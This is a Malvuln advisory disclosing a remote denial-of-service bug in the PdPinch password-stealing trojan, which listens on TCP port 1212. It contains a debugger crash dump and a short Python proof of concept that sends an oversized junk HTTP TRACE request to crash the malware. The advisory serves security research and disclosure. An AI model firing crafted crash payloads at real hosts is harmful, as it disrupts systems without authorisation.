Discovery / credits: Malvuln - malvuln.com (c) 2021 Original source: https://malvuln.com/advisory/0e4fbfeb6f7a98e437a497013b285ffc.txt Contact: malvuln13@gmail.com Media: twitter.com/malvuln Threat: Trojan-PSW.Win32.PdPinch.gen Vulnerability: Remote Denial of Service Description: The malware listens on TCP port 1212. Third-party attackers who can reach infected systems can send a specially crafted junk HTTP request to trigger an access violation and crash. Type: PE32 MD5: 0e4fbfeb6f7a98e437a497013b285ffc Vuln ID: MVID-2021-0358 Disclosure: 10/04/2021 Memory Dump: (dc4c.da68): Access violation - code c0000005 (first/second chance not available) eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290 eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 0:007> .ecxr eax=04ad131c ebx=746d5600 ecx=02620d08 edx=746ed51c esi=00000004 edi=74749290 eip=74744637 esp=04ad0f00 ebp=04ad1304 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206 apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7: 74744637 56 push esi 0:007> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7 74744637 56 push esi EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 74744637 (apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0x0000d2a7) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000001 Parameter[1]: 04ad0efc Attempt to write to address 04ad0efc PROCESS_NAME: Trojan-PSW.Win32.PdPinch.gen.0e4fbfeb6f7a98e437a497013b285ffc.exe ADDITIONAL_DEBUG_TEXT: Use '!findthebuild' command to search for the target build information. If the build information is available, run '!findthebuild -s ; .reload' to set symbol path and load symbols. MODULE_NAME: apphelp FAULTING_MODULE: 77d70000 ntdll DEBUG_FLR_IMAGE_TIMESTAMP: 5066dc78 ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s. EXCEPTION_PARAMETER1: 00000001 EXCEPTION_PARAMETER2: 04ad0efc WRITE_ADDRESS: 04ad0efc FOLLOWUP_IP: apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7 74744637 56 push esi MOD_LIST: <ANALYSIS/> CONTEXT: 00010008 -- (.cxr 0x10008) Unable to read context, HRESULT 0x80004002 FAULTING_THREAD: 0000da68 BUGCHECK_STR: APPLICATION_FAULT_INVALID_STACK_ACCESS_INVALID_POINTER_WRITE_WRONG_SYMBOLS_EXPLOITABLE_EXH PRIMARY_PROBLEM_CLASS: INVALID_STACK_ACCESS_EXPLOITABLE_EXH DEFAULT_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_EXH LAST_CONTROL_TRANSFER: from 00000000 to 74744637 STACK_TEXT: 04ad1304 00000000 04ad131c 04ad136c 747414b5 apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+0xd2a7 SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: apphelp!DWM8And16Bit_RestoreDisplayMode_CallOut+d2a7 FOLLOWUP_NAME: MachineOwner IMAGE_NAME: apphelp.dll STACK_COMMAND: .cxr 0x10008 ; kb BUCKET_ID: WRONG_SYMBOLS FAILURE_BUCKET_ID: INVALID_STACK_ACCESS_EXPLOITABLE_EXH_c0000005_apphelp.dll!DWM8And16Bit_RestoreDisplayMode_CallOut Exploit/PoC: from socket import * MALWARE_HOST="x.x.x.x" PORT=1212 s=socket(AF_INET, SOCK_STREAM) s.connect((MALWARE_HOST, PORT)) PAYLOAD=TRACE / "A"*3073 HTTP/1.1 Host: 0ZYST;onoGij=F9rX2\r\nContent-MD5: "A"*3073\r\n\r\n s.send(PAYLOAD) s.close() Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).